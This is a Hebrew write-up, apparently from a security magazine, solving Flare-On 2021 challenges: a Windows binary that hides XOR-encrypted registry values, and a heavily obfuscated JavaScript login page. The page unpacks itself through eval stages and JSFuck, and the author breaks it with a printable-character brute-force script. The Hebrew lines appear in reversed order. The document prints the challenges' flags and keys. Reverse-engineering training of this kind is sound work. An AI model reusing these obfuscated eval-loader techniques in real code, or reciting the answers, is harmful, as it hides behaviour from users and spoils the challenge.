 מאחר. 0-ל שווה השני שהפרמטר במקרה שמטפל המעניינת בפונקציה החלק את סטטית לנתח כעת ננסה

 מהפונקציה ההחזרה לערך אתן, דינמי resolving על שמבוססת API-ל קריאה בכל, rainbow table לנו ויש

 :שנקרא API-ה של השם את המרזלבת

 

 כלשהו משותף context-ב תוים 30 באורך מסוים Buffer מאלקצת תחילה הפונקציה, לראות שניתן כפי

 :flare-on.com - מפענחת שהיא סטרינג אליו ומעתיקה, 390 באופסט
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 מנת על. המשותף context-ה את אליה ומעבירה אחרת פנימית לפונקציה קוראת הפונקציה, מכן לאחר

 :אותה כעת נבחן. 1 הערך את תחזיר הפנימית שהפונקציה מצפה הפונקציה, הריצה את להמשיך

 

 שהיא עד מסוימת לפונקציה לקרוא מנסה פריודית מכן ולאחר, Winsock מאתחלת הזו שהפונקציה נראה

 :שרת עם מסוימת תקשורת לייצר מנסה הזו שהפונקציה כללית מהסתכלות מסתמן. תצליח

 

 שתעשה לאחר מיד, תקרוס התכנית, כושלים נסיונות 12-כ שמסתמן מה אחרי - הקודמת לפונקציה בחזרה

cleanup ל-Winsock .באמצעות יחסית ארוך זמן למשך מושהה התכנית, לנסיון נסיון כל בין Sleep. 

 שווה שאולי רציני מאוד rabbit hole כמו נראה זה אך, השרת מול התקשורת של סטטי בניתוח להמשיך ניתן

 לראות שעדיף כך, קבוע בסיס על תיכשל שהיא או, שהיא כמו תעבוד שהתקשורת להיות יכול. ממנו להימנע
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 להבין וננסה, Sleep-וב WSAStartup-ב BP נשים. סופי כיוון לבחור, לכך ובהתאם,  בהרצה קורה מה דינמית

 :הזה במקטע התכנית של ההתנהגות מה

 

 לרוץ לזה לתת ננסה. 2 הערך את rax-ב רואים שאנחנו כיוון, נכשלה הפונקציה, הראשונה שבקריאה נראה

 :שוב

 

 היחיד והדבר, מתקפל שלנו שהבינארי מאוד למצב נגיע מאוד שמהר כנראה. נכשל זה כעת שגם נראה

. התמודדות גישות שתי בין לבחור צריכים אנחנו, כך אם. לנסיון נסיון בין Sleep-ל הקריאה הוא, זאת שמעכב

 לתכנית שיגיב שרת לייצר ולנסות, הרלוונטי השרת מול ההתקשרות נסיון את לעומק לנתח, הראשונה

 אנחנו כעת האם ולראות, הצליח ההתחברות שנסיון לחשוב לבינארי לגרום, השנייה. הדרושה בצורה

 . מעניין למקום מגיעים

 אותנו לעכב רק שאמורה, image-ה שם של שראינו הקודמת הבדיקה בסגנון בבדיקה שמדובר להיות יכול

 הגישה היא לואלידציה מבחינתנו זולה יותר המשמעותית הגישה. בפועל המעניינת הפונקציונליות ממציאת

 1-ל המעניינת מהפונקציה ההחזרה ערך את נשנה. אותנו מובילה היא לאן לראות כעת ננסה ולכן, השנייה

 :כעת קורה מה ונסתכל, בדיבאגר

 

 



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 ;8  4243 נובמבר ,357גליון 
 

 עליה שעברנו הפונקציה את נתייג. שניתחנו המעניינת בפונקציה הבא לחלק מגיעים אנחנו שכעת נראה

 :ראשית סטטית בצורה הבא החלק לניתוח ונמשיך, connectivity_check בשם

 

 הסטרינג את ים-XOR עם באמצעותו מצפין, בבינארי סטטית שיושב מסוים מפתח לוקח הזה שהחלק נראה

 פונקציה לעוד קורא,אותו שמקבלת מסוימת לפונקציה קורא", flare-on.com" בתור לכן קודם שהוגדר

 את שמקבלת פונקציה לעוד קורא מכן ולאחר, לרוץ תמשיך שהתכנית מנת על 2 הערך את להחזיר שאמורה

 :המוצפן הסטרינג את שמקבלת הפונקציה את סטטית לנתח ננסה כעת. context-ה

 

 את כותבת שהפונקציה בבירור להבין לנו עוזרת מרזלבת הזו שהפונקציה APIs-ה על מהירה הסתכלות

 .ריצה בזמן שמפוענח מסוים מפתח בתוך יסטרי'לרג לה מעבירים שאנו הערך
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 :xrefs חיפוש ידי על אליה נוספות קריאות יש האם לראות ננסה

 

 הפונקציה בתוך אחרונה שנקראת הפונקציה שזו, _182220732sub ידי על גם נקראת הפונקציה כי נראה

 :הלוגיקה עם הגדולה

 

 

 

 0x20 באורך מסוים סטרינג ומצפינה, מהבינארי מפתחות בטעינת מתחילה זו פונקציה, לראות שניתן כפי

 הקונטקסט מאובייקט שנשלפים בתים בתור ריצה בזמן נבנה שהסטרינג נראה. הללו המפתחות באמצעות

 .בסטרינג מסוים לאופסט אחד כל ומתאימים'@'(  - 0x40 שהוא האחרון הבית למעט)
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 :הבא המקטע רץ, הקידוד לאחר

 

-flare של מוצפן ערך מסוים במפתח 1 הערך תחת לרגיסטרי שומר הבינארי שראשית כך אם נראה. מעניין

on.com ,המדובר הערך מה דינמית לבדוק ננסה. ריצה בזמן שנבנה מוצפן ערך, 2 הערך תחת, מכן ולאחר ,

 בסיס על הסטרינג של מחדש והרכבה, לפונקציה הקריאה ברגע context-ה אובייקט של dumping ידי על

 :הזו בפונקציה switch-case-ב שראינו האופסטים
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 לפני התוכן את מחדש להרכיב מנת על הזה הקצר הפייתון בסקריפט נשתמש, בידינו context-כשה, כעת

 :ההצפנה

with open('context.bin', 'rb') as f: 

    context = f.read() 

 

plaintext = context[436] + context[437] + context[430] + context[432] + 

context[431] + context[430] + context[429] + context[425] + context[424] 

+ context[427] + context[428] + context[441] + context[439] + 

context[444] + context[443] + context[445] + context[426] + context[434] 

+ context[440] + context[435] + context[438] + context[426] + chr(0x40) 

 

print plaintext 

 יש אז! מגניב@". b3s7_sp3llcheck3r_ev3r" הערך הוא ההצפנה לפני שהתוכן ונראה, הסקריפט את נריץ

 של מוצפן תוכן 1 שנקרא ובערך@, b3s7_sp3llcheck3r_ev3r של מוצפן תוכן ברגיסטרי 2 שנקרא בערך לנו

flare-on.com .נעשה! דגל של חלקים שני כמו מריח submit לדגל: 

b3s7_sp3llcheck3r_ev3r@flare-on.com 

 :( האתגר של הדגל באמת זהו כי ונראה

 multiple stage עם התמודדות טכניקות, בווינדוס בינארים של ניתוח על המון זה באתגר למדנו, כך אם

payloads ו-unpacking עם התמודדות טכניקות, שלהם resolving פונקציות של דינמי API ניתוח וטכניקות 

 והגענו פוטנציאליים dead ends-ו rabbit holes מספר על התגברנו. שונים למקרים שמתאימות ודינמי סטטי

 . דגל לחלץ לנו שאפשרה הבינארי של להבנה לבסוף

 נתן שהוא כיווון מוצלח די היה עדיין האתגר אך, י-guess מעט היה האתגר של האחרון שהחלק ספק אין

 anti analysis טכניקות עם והתמודדות מחקר גישות, בווינדוס נוזקות ניתוח של לעולם טובה מבט נקודת

 .נפוצות
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  Beelogin - : אתגר

You're nearly done champ, just a few more to go. we put all the hard ones at the beginning of the challenge 

this year so its smooth sailing from this point. Call your friends, tell 'em you won. They probably don't care. 

Flare-On is your only friend now. 

 :Submit וכפתור טקסט תיבות 5 שכולל, ודמא מוזר ממשק שמציג HTML דף מקבלים אנו, זה באתגר

 

. JS סקריפט של שורות אלף 22 ובערך, מאוד רזה HTML עמוד לנו מציגה טקסט בעורך הקוד של פתיחה

 ":Prettier" בשם VSCode extension באמצעות beautify לו ונעשה, נפרד לקובץ אותו נחלץ

function Add(xDyuf5ziRN1SvRgcaYDiFlXE3AwG) { 

 function S8PnPCDSnKdSqe(WUEXRKMeFJUd) { ... } 

 function uugDHqrjEnmBS0p0sjPT(oufo6JTS26xJ) { ... } 

 function CL2nJC5x3EAXUM6(BQhxn1DTLBp) { ... } 

 function wKU4UQoQdFlfUik(rZJqZfdJKrU2jgk8pj9Me) { ... } 

 function lm2AjOsAf(odr6Ghj) { ... } 

 function jySynpgWAr6qkrI7t(HD0B7ZMhdSixI5466u1) { ... } 

 function oGrOMjW3(uFuAzrun7YqD2) { ... } 

 function kSHnVUFLbAeDRKm(QUXINaLoDcF6vfgDyXamCL) { ... } 

 function pARF0(egojCXGz) { ... } 

 function UdHJcZYDlJZekuZs(ggpr4tFHhMds5G9sBRY) { ... } 

 function pOnwFrkUMwMu3CGeQzE(zxkXp7riCA) { ... } 

 function WwVaC78KO4RPLsk3b2EDk(htCDCKtaiWFcOetePjG) { ... } 

 function fxunNGiVfo(dRyXAk) { ... } 

 FMzWAm0aa =xDyuf5ziRN1SvRgcaYDiFlXE3AwG.qpZZCMxP2sDKX1PZU6sSMfBJA.value.split(";"); 

 function LknJ2mZ38LhMnCt(lZdhgqlcblSRKFJN5) { ... } 

 function WjnOsiwGGpEk(McxE9EdAVdFLj04fYyc) { ... } 

 function HIuWmLrbLStX9mgCWo(ipq85SpyICPFSlT6mGBud) { ... } 

 

// ... 

 ואליה, Submit נלחץ כאשר שרצה הפונקציה זו. Add בשם ראשית מפונקציה בנוי שהסקריפט לראות ניתן

 . קוד שורות וביניהן, פנימיות פונקציות מהמון מורכבת עצמה Add הפונקציה. form-ה אובייקט מועבר
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 הכרזה בתור המקרים בכל אך, בסקריפט פעמים מספר מופיעות הללו הפונקציות שכל היא מעניינת אבחנה

 משמעותית סקריפט ונקבל, לגמרי אותן להעיף שניתן נראה, כך אם. בפועל להן קריאה בתור ולא עליהן

 . שקולה פונקציונליות עם, לניתוח יותר פשוט

 :לגמרי אותן ומוחק, יחיד indent-ב פונקציות על הכרזות שמזהה קצר פייתון סקריפט נכתוב, כך לשם

def get_beautified_script(script_file): 

    beautified_script = '' 

    ignore_lines = False 

 

    for current_line in script_file.readlines(): 

        if current_line.startswith('  function'): 

            ignore_lines = True 

        elif ignore_lines and current_line.startswith('  }'): 

            ignore_lines = False 

            continue 

 

        if not ignore_lines: 

            beautified_script = beautified_script + current_line 

 

    return beautified_script 

 

 

with open('script.js', 'r') as script_file: 

    beautified_script = get_beautified_script(script_file) 

    with open('beautified_script.js', 'w') as beautified_script_file: 

        beautified_script_file.write(beautified_script) 

 :כך שמתחיל, קצר יותר הרבה JS סקריפט לנו מייצרת הסקריפט של הרצה

function Add(xDyuf5ziRN1SvRgcaYDiFlXE3AwG) { 

  FMzWAm0aa = 

    xDyuf5ziRN1SvRgcaYDiFlXE3AwG.qpZZCMxP2sDKX1PZU6sSMfBJA.value.split(";"); 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= FMzWAm0aa) eval(FMzWAm0aa); 

 

  jjEzfkkQKmNRjk = 

    xDyuf5ziRN1SvRgcaYDiFlXE3AwG.LLfYTmPiahzA3WFXKcL5BczcG1s1.value.split(";"); 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= jjEzfkkQKmNRjk) eval(jjEzfkkQKmNRjk); 

 

  s264DreiOxB = 

    xDyuf5ziRN1SvRgcaYDiFlXE3AwG.LLfYTmPiahzA3WFXKcL5BczcG1s1.value.split(";"); 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= s264DreiOxB) eval(s264DreiOxB); 

 

  bZVlSWZX7q3aWXGYsT8 = 

    xDyuf5ziRN1SvRgcaYDiFlXE3AwG.qpZZCMxP2sDKX1PZU6sSMfBJA.value.split(";"); 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= bZVlSWZX7q3aWXGYsT8) 

    eval(bZVlSWZX7q3aWXGYsT8); 

 לסטרינג שלהם השוואה מכן ולאחר, מערכים שיוצרות split קריאות המון רפטטיבית בצורה לראות ניתן

 לא לעולם הזה והתנאי מאחר. לסטרינג שווים או גדולים שהם מראה והבדיקה במידה, להם eval-ו קבוע

 . ידנית בצורה כעת, גם הזה הבלגן כל את לנקות אפשר, יתקיים
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 :הבא הסקריפט בידינו יהיה, קצר ניקוי לאחר

function Add(xDyuf5ziRN1SvRgcaYDiFlXE3AwG) { 

  PyKEvIqAmUkUVL0Anfn9FElFUN2dic3z = 

    "...redacted buffer..."; 

 

  GJrFu0fnwTxv2znmydOO5NG23UTO0MypKl =   
"b2JDN2luc2tiYXhLOFZaUWRRWTlSeXdJbk9lVWxLcHlrMXJsRnk5NjJaWkQ4SHdGVjhyOENQeFE5dGxUaEd1dGJ5ZDNOYTEzRmZRN1V

1emxkZUJQNTN0Umt6WkxjbDdEaU1KVWF1M29LWURzOGxUWFR2YjJqQW1HUmNEU2RRcXdFSERzM0d3emhOaGVIYlE3dm9aeVJTMHdLY2V

hb3YyVGQ4UnQ2SXUwdm1ZbGlVYjA4YVRES2xESnlXU3NtZENMN0J4MnBYdlZET3RUSmlhY2V6Y3B6eUM2Mm4yOWs="; 

 

  Ljasr99E9HLv1BBnSfEHYw = 64; 

 

  qguBomGfcTZ6L4lRxS0TWx1IwG = 

    xDyuf5ziRN1SvRgcaYDiFlXE3AwG.ZJqLM97qEThEw2Tgkd8VM5OWlcFN6hx4y2.value.split( 

      ";" 

    ); 

 

  npxuau2RsDO0L4hSVCBHx = atob(PyKEvIqAmUkUVL0Anfn9FElFUN2dic3z).split(""); 

  PeFEvMaDMvyrYg8UZgKKfVMBhak5 = npxuau2RsDO0L4hSVCBHx.length; 

  EuF8AepyhtkSXEWvNKIKZMaSHm4v = atob(GJrFu0fnwTxv2znmydOO5NG23UTO0MypKl).split( 

    "" 

  ); 

 

  bNT5lGtaxYHeyHFeEdImdD12Csa7MlR = 

    "gflsdgfdjgflkdsfjg4980utjkfdskfglsldfgjJLmSDA49sdfgjlfdsjjqdgjfj".split( 

      "" 

    ); 

 

  if (qguBomGfcTZ6L4lRxS0TWx1IwG[0].length == Ljasr99E9HLv1BBnSfEHYw) 

    bNT5lGtaxYHeyHFeEdImdD12Csa7MlR = qguBomGfcTZ6L4lRxS0TWx1IwG[0].split(""); 

 

  for (i = 0; i < EuF8AepyhtkSXEWvNKIKZMaSHm4v.length; i++) { 

    EuF8AepyhtkSXEWvNKIKZMaSHm4v[i] = 

      (EuF8AepyhtkSXEWvNKIKZMaSHm4v[i].charCodeAt(0) + 

        bNT5lGtaxYHeyHFeEdImdD12Csa7MlR[i % Ljasr99E9HLv1BBnSfEHYw].charCodeAt( 

          0 

        )) & 

      0xff; 

  } 

 

  Oz9nOiwWfRL6yjIwvM4OgaZMIt0B = npxuau2RsDO0L4hSVCBHx; 

  for (i = 0; i < PeFEvMaDMvyrYg8UZgKKfVMBhak5; i++) { 

    Oz9nOiwWfRL6yjIwvM4OgaZMIt0B[i] = 

      (Oz9nOiwWfRL6yjIwvM4OgaZMIt0B[i].charCodeAt(0) - 

        EuF8AepyhtkSXEWvNKIKZMaSHm4v[i % EuF8AepyhtkSXEWvNKIKZMaSHm4v.length]) & 

      0xff; 

  } 

 

  sEjdWWMFU4wObKZap4WeMBgdfgIfTHCvS = ""; 

  for (i = 0; i < npxuau2RsDO0L4hSVCBHx.length; i++) { 

    sEjdWWMFU4wObKZap4WeMBgdfgIfTHCvS += String.fromCharCode( 

      Oz9nOiwWfRL6yjIwvM4OgaZMIt0B[i] 

    ); 

  } 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= sEjdWWMFU4wObKZap4WeMBgdfgIfTHCvS) 

    eval(sEjdWWMFU4wObKZap4WeMBgdfgIfTHCvS); 

} 
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 עושה, מכן ולאחר, בפועל JS לקוד להוביל שאמורה באפרים על מסוימת מניפולציה עושה שהסקריפט נראה

 :לקריאה יותר נוח לסגנון אותו ונתאים, נוחים משתנים שמות כעת לו וניתן, לקוד נוסף שיוף נבצע. eval לו

function Add(x) { 

  raw_buffer_1 = 

    "...redacted buffer..."; 

 

  raw_buffer_2 = 

    

"b2JDN2luc2tiYXhLOFZaUWRRWTlSeXdJbk9lVWxLcHlrMXJsRnk5NjJaWkQ4SHdGVjhyOENQeFE5dGxUaEd1dGJ5ZDNO

YTEzRmZRN1V1emxkZUJQNTN0Umt6WkxjbDdEaU1KVWF1M29LWURzOGxUWFR2YjJqQW1HUmNEU2RRcXdFSERzM0d3emhOa

GVIYlE3dm9aeVJTMHdLY2Vhb3YyVGQ4UnQ2SXUwdm1ZbGlVYjA4YVRES2xESnlXU3NtZENMN0J4MnBYdlZET3RUSmlhY2

V6Y3B6eUM2Mm4yOWs="; 

 

  input_1 = x.ZJqLM97qEThEw2Tgkd8VM5OWlcFN6hx4y2.value.split(";"); 

 

  buffer_1 = atob(raw_buffer_1).split(""); 

  buffer_2 = atob(raw_buffer_2).split(""); 

 

  buffer_3 = "gflsdgfdjgflkdsfjg4980utjkfdskfglsldfgjJLmSDA49sdfgjlfdsjjqdgjfj".split(""); 

  if (input_1[0].length == 64) 

    buffer_3 = input_1[0].split(""); 

 

  for (i = 0; i < buffer_2.length; i++) { 

    buffer_2[i] = (buffer_2[i].charCodeAt(0) + buffer_3[i % 64].charCodeAt(0)) & 

0xff; 

  } 

 

  for (i = 0; i < buffer_1.length; i++) { 

    buffer_1[i] = (buffer_1[i].charCodeAt(0) - buffer_2[i % buffer_2.length]) & 

0xff; 

  } 

 

  final = ""; 

 

  for (i = 0; i < buffer_1.length; i++) { 

    final += String.fromCharCode(buffer_1[i]); 

  } 

 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= final) 

    eval(final); 

} 

 שנלקח שלישי-Buffer ו, קבועים באפרים 0 לוקח שהוא נראה. וברור נוח ממש סקריפט בידינו יש, כעת

. קבוע מערך נלקח, ולא ובמידה, בתים 26 באורך data מכיל מסוים text box-ו במידה form-ה של מהאינפוט

 ואחרי, תואמים באופסטים השלישי buffer-ה של הערכים את השני buffer-ל מוסיף הסקריפט, מכן לאחר

 אחרי. כן גם תואמים באופסטים, שחושב השני-Buffer ה של הערכים את הראשוןBuffer -מה מחסר הוא, כן

 הסטרינג ואם, אחר קבוע סטרינג מול אל שלו השוואה עושה, סטרינג הראשון-Buffer מה בונה הוא, הכל

 אמור הזה שהחישוב, כך אם נראה. eval דינמית שנבנה לסטרינג עושה, מילונית לו שווה או גדול האחר

 .להרצה שניתן תקין JS לקוד דבר של בסופו להוביל

 ולא, השלישי Buffer-ה בתור הקבוע בסטרינג משתמשים כאשר, החישוב תוצאת מה לבדוק כעת ננסה

 eval-ל הקריאה את ונחליף, שהרכבנו deobfuscated-ה הקוד את ניקח, כך לשם. form-ה של במידע
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 מה ונבדוק, Add לפונקציה ידנית קריאה עם הדפדפן של console-ב הכל את נריץ. console.log-ל בקריאה

 :output-ה

 

 ננסה? משהו מפספסים שאנחנו להיות יכול. מוזר משהו כאן יש, כך אם. תקין JS קוד השגנו שלא נראה. מוזר

, SyntaxErrors של אקספשנים זורק באמת שהוא ונראה, input שום ללא המקורי בדף Submit-ה על ללחוץ

 ". מצופה" התנהגות שזו שמריח ככה

 היא שהציפייה להניח סביר? באתגר מאיתנו רוצים מה - ברורה לא שאלה עם למעשה אותנו מותיר זה

 לדעת נוכל איך אך, כלשהי הגיונית לתוצאה ולהוביל לעבוד לדברים שיגרום form-ל מסוים אינפוט שנכניס

 שהאינפוט להניח אפשר, ראשית. מושכלים ניחושים מספר לעשות נצטרך, כך לשם? הזה האינפוט מה

 . תקין JS קוד לייצר אמור שנכניס

 גם כך. לחלוטין printable להיות צריכה שהתוצאה הוא, כך אם לייצר שאפשר ביותר הבסיסי constraint-ה

 הצלחנו. printable יהיה לא שהוא הגיון ואין, form-ל באינפוט מדובר, דבר של בסופו - עצמו input-ה לגבי

 26 של לסטרינג bruteforce שלעשות ספק אין אך, מסוים תוצאות ומרחב מסוים bruteforce מרחב להגדיר

 לעשות לנו שיעזור טריק כאן למצוא נצטרך. אפשרית בלתי משימה זו נאיבית בצורה הזה במרחב תווים

bruteforce איתם עובדים שאנחנו הנתונים של מסודרת בהגדרה נתחיל בואו. שצריך כמו: 

1. Buffer :Buffer1 לקוד דבר של בסופו להוביל אמור ממנו מסוים מפתח של שחיסור, ענק סטטי JS תקין. 

0. Buffer :Buffer2 מ שיחוסר המפתח של להרכבה שמשומש, בתים 001 באורך סטטיBuffer1-. 

3.  Buffer :Buffer3ל שמחובר, בתים 26 באורך בשליטתנו-Buffer2 (מודולו בסיס על תואמים באופסטים 

 .Buffer1-מ שיחוסר המפתח את להרכיב כדי( 26

 וניתן, ביחד התווים כל על bruteforce לעשות סיבה באמת שאין היא, אליה לב לשים שצריך מעניינת נקודה

 ממנו להרכיב וניתן, כלשהו printable תו להיות אמור Buffer3-ב תו כל. בנפרד תו כל על bruteforce לעשות

 החיסור תוצאות כל האם ולבדוק, רלוונטית נקודה בכל אותם לחסר, Buffer1-מ שיחוסר במפתח תווים 3-כ
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 פשוט bruteforce-ב מדובר. מסוים באופסט למפתח מסוים אופציות סט בידינו יש, וכן במידה. printable הן

 את מממש הבא הסקריפט. דקות במספר אותו שיבצע פייתון סקריפט לכתוב ונוכל, מאוד וקצר מאוד

 :כעת שהגדרנו האלגוריתם

import string 

 

def add(blob_1, blob_2): 

    final = '' 

    for i in range(len(blob_1)): 

        final += chr((ord(blob_1[i]) + ord(blob_2[i % len(blob_2)])) & 0xff) 

    return final 

 

def sub(blob_1, blob_2): 

    final = '' 

    for i in range(len(blob_1)): 

        final += chr((ord(blob_1[i]) - ord(blob_2[i % len(blob_2)])) & 0xff) 

    return final 

 

def split(blob, n): 

    return [blob[i:i + n] for i in range(0, len(blob), n)] 

 

def is_valid_result(result): 

    return all(map(lambda c: c in string.printable, result)) 

 

def find_blob_3(blob_1, blob_2, blob_3_len=64): 

    blob_1_splitted = split(blob_1, len(blob_2)) 

    blob_3 = [] 

 

    for offset in range(blob_3_len): 

        print '[*] working on', offset 

        options = [] 

 

        for attempt_chr in string.printable: 

            result = '' 

            for part in blob_1_splitted: 

                result += sub(part[offset::blob_3_len], add(blob_2[offset::blob_3_len],  

     [attempt_chr])) 

 

            if is_valid_result(result): 

                options.append(attempt_chr) 

 

        blob_3.append(options) 

        print '[+] solved', offset 

        

    return blob_3 

, Buffer3-ב האופסטים כל על רץ(, בתים 001) Buffer2 של באורך לקבוצות Buffer1 את מחלק האלגוריתם

 אופציה בתור תו בכל משתמש הוא. bruteforce-ה של inputs-ה במרחב התווים כל על רץ, אופסט כל ועבור

 .Buffer2-ב המתאימים האופסטים סמך על הסופי המפתח את ומחשב, הרלוונטי באופסט למפתח

 ובונה, Buffer1 של בתים 001 באורך חלק לכל הרלוונטיים באופסטים המפתח את מחבר הוא, מכן לאחר

 את נריץ. כאופציה התו את שומר האלגוריתם, כולו printable הוא הזה הסטרינג אם. תוצאה סטרינג

 :התוצאה מה ונבדוק, מהסקריפט ששלפנו הקבועים עם האלגוריתם

[['A', 'B', 'C', '@'], ['c', 'd', 'e', 'f', 'g', 'h'], ['V'], ['C'], 

['S', 'T', 'U', 'V'], ['Y'], ['w', 'x', 'y', 'z'], ['I'], ['1'], ['a', 

'b', 'c', 'd'], ['U'], ['9'], ['a', 'b', 'c', '`'], ['V'], ['g'], ['0', 

'1', '.', '/'], ['u'], ['k'], ['B'], ['n', 'o', 'p', 'q'], ['O'], ['2'], 
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['u'], ['4'], ['R', 'S', 'T', 'U'], ['G'], ['r'], ['6', '7', '8', '9'], 

['a', '\\', ']', '^', '_', '`'], ['V'], ['C'], ['N'], ['W'], ['E', 'F', 

'G', 'H'], ['k', 'l', 'm', 'n', 'o', 'p'], ['H', 'I', 'J', 'K', 'L', 

'M'], ['U', 'V'], ['u'], ['V', 'W', 'X', 'Y'], ['D'], ['L'], ['m'], 

['A', 'B', 'C', 'D'], ['O'], ['0', '1', '2', '/'], ['0', '1', '2', ')', 

'*', '+', ',', '-', '.', '/'], ['c'], ['d'], ['e', 'f', 'g', 'h'], 

['X'], ['q'], ['3'], ['o'], ['q'], ['p'], ['5', '6', '7', '8'], ['j'], 

['m'], ['K'], ['A', 'B', '?', '@'], ['C', 'D', 'E', 'F', 'G', 'H'], 

['P', 'Q', 'R', 'S', 'T', 'U'], ['R', 'S', 'T', 'U', 'V', 'W'], ['I']] 

. אחת מאופציה יותר לנו יש רבים באופסטים עדיין אך, האופציות את מאוד לצמצם שהצלחנו נראה. נחמד

, כך לשם. במפתח הנכון התו היא האופציות מבין איזה להבחין לנו שתעזור יוריסטיקה למצוא ננסה, כך אם

 . תקין תו כל עבור הפענוח של הסופית בתוצאה הראשונים הבתים 122 את להדפיס ננסה

 :1 באופסט התוצאות על לדוגמה נסתכל

 

 - האחרונה בתוצאה מאוד מעניין pattern-ל לב לשים ניתן, זאת עם. בגדול יבריש'ג כמו נראה כאן התוכן רוב

 ][+!)(.  התווים על חזרה המון בה יש

 JS אובפוסקטור - JSFuck-ב לשימוש טובה כאינדיקציה הזה pattern-ה את מכירים אנו, מוקדמת מהיכרות

 .זאת לעשות מסוגל הוא כיצד כאן להרחיב מוזמנים. הללו התווים 2 סמך על לחלוטין תקין JS קוד שמייצר

 המון, ובפרט, JSFuck קוד בתוכה תכיל שלנו שהתוצאה נרצה הנראה שככל להסיק ניתן - כך אם, אופן בכל

 שהתוצאה לוודא is_valid_result-ב שלנו היוריסטיקה את לעדכן נוכל, כך לשם. שראינו התווים 2 על חזרה

 . תו כל עבור אחת אופציה באמת ונקבל, כעת הסקריפט את נריץ. הללו התווים 2 את מכילה

 :המפתח שזה נראה

ChVCVYzI1dU9cVg1ukBqO2u4UGr9aVCNWHpMUuYDLmDO22cdhXq3oqp8jmKBHUWI 
  

http://www.jsfuck.com/
http://www.jsfuck.com/
http://www.jsfuck.com/
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 console-ב הרצה של שיטה באותה לסקריפט אותו להעביר כעת נוכל, המפתח את בידינו יש אם אז. מגניב

 :כעת שמתקבל הסופי הקוד מה ונראה, console.log-ב eval של החלפה עם הדפדפן של

 

. לול". בסרט כוורת" של מהתסריט חלק למעשה שהם, comments רצף עם מתחיל שהסקריפט נראה

 :הקוד המשך על נסתכל

 

. JSFuck הסקריפט, מדובר בהמון קוד שעבר אובפוסקציה באמצעותכפי שצפינו במהלך הכתיבה של 

 :קריא קוד להשיג מנת על בו ונשתמש, הזה הכלי את נמצא, ברשת JSFuck obfuscator נחפש

(function (qguBomGfcTZ6L4lRxS0TWx1IwG) { 

  sInNWkbompb8pOyDG5D = 

    "...redacted buffer..."; 

  SEN5lpjT4o1WcRyenF3c6EmlnjdnW = 

    

"N0l2N2l2RTVDYlNUdk5UNGkxR0lCbTExZmI4YnZ4Z0FpeEpia2NGN0xGYUh2N0dubWl2ZFpOWm15c0J

MVDFWeHV3ZFpsd2JvdTVSTW1vZndYRGpYdnhrcGJFS0taRnZOMnNJU1haRXlMM2lIWEZtN0RSQThoMG8

yYUhjNFZLTGtmOXBDOFR3OUpyT2RwUmFOOUdFck12bXd2dnBzOUVMWVpxRmpnc0ZHTFFtMGV4WW11Wmc

1bWRpZWZ6U3FoZUNaOEJiMURCRDJTS1o3SFpNRzcwRndMZ0RCNFFEZWZsSWE4Vg=="; 

  pKxpcv7X8OO7AY4brDHDibSSlZx2F = atob(sInNWkbompb8pOyDG5D).split(""); 

  WLjv1KngPLuN8eezUIIj5tGR1ZZgqUZ = pKxpcv7X8OO7AY4brDHDibSSlZx2F.length; 

  anFlFCVHqfi4WmTzNxmg = atob(SEN5lpjT4o1WcRyenF3c6EmlnjdnW).split(""); 

  NbgNroelQqxtLGx4xr2FzHuonetRtscR2 = 

    "87gfds8f4h4dsahfdjhkDHKHF83hNNFDHHKFBDSAKFSfsd47lmkbfjghgdfgda34".split( 

      "" 

https://enkhee-osiris.github.io/Decoder-JSFuck/
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    ); 

  if (qguBomGfcTZ6L4lRxS0TWx1IwG[1].length == 64) 

    NbgNroelQqxtLGx4xr2FzHuonetRtscR2 = qguBomGfcTZ6L4lRxS0TWx1IwG[1].split(""); 

  for (i = 0; i < anFlFCVHqfi4WmTzNxmg.length; i++) { 

    anFlFCVHqfi4WmTzNxmg[i] = 

      (anFlFCVHqfi4WmTzNxmg[i].charCodeAt(0) + 

        NbgNroelQqxtLGx4xr2FzHuonetRtscR2[i % 64].charCodeAt(0)) & 

      0xff; 

  } 

  for (i = 0; i < WLjv1KngPLuN8eezUIIj5tGR1ZZgqUZ; i++) { 

    pKxpcv7X8OO7AY4brDHDibSSlZx2F[i] = 

      (pKxpcv7X8OO7AY4brDHDibSSlZx2F[i].charCodeAt(0) - 

        anFlFCVHqfi4WmTzNxmg[i % anFlFCVHqfi4WmTzNxmg.length]) & 

      0xff; 

  } 

  pKxpcv7X8OO7AY4brDHDibSSlZx2F = String.fromCharCode.apply( 

    null, 

    pKxpcv7X8OO7AY4brDHDibSSlZx2F 

  ); 

  if ("rFzmLyTiZ6AHlL1Q4xV7G8pW32" >= pKxpcv7X8OO7AY4brDHDibSSlZx2F) 

    eval(pKxpcv7X8OO7AY4brDHDibSSlZx2F); 

})(qguBomGfcTZ6L4lRxS0TWx1IwG); 

 multiple stage loader-ב מדובר כנראה, כך אם. איתו שעבדנו הקודם הסקריפט כמו בדיוק נראה. וואו

 קודם שכתבנו הסקריפט באותו כעת נשתמש. שונה הקשרים בעולם פשוט - 7 אתגר את מזכיר, כלשהו

 :הוא המפתח כי ונראה, שונים בקבועים בשימוש, המפתח למציאת

UQ8yjqwAkoVGm7VDdhLoDk0Q75eKKhTfXXke36UFdtKAi0etRZ3DoHPz7NxJPgHl 

 :הוא שמתקבל הקוד כי ונראה, הסופי JS-ה קוד לחילוץ ישן טריק אותו את נעשה, כעת

 

 הוא שקיבלנו הקוד כי ונראה, שוב JSFuck decoder-ב הקוד את נעביר. הקודם stage-ה את בדיוק מזכיר

 :למעשה

alert("I_h4d_v1rtU411y_n0_r3h34rs4l_f0r_th4t@flare-on.com") 

 !האתגר של הדגל אכן זה כי ונראה אותו נגיש. לדגל הגענו! כיף איזה

 ביצירתיות שימוש ודרש, Flare-On של הקלאסיים מהאתגרים מאוד מרענן שינוי היה לחלוטין הזה האתגר

 לנו שיניב מפתח למצוא כדי אידאלית bruteforce שיטת ומציאת, obfuscated מאוד JS קוד לנתח מנת על

, בכלל נפוצה לא היא יום-ביום איתו שההתעסקות נישתי מאוד בדומיין התעסק האתגר אמנם. תקין JS קוד

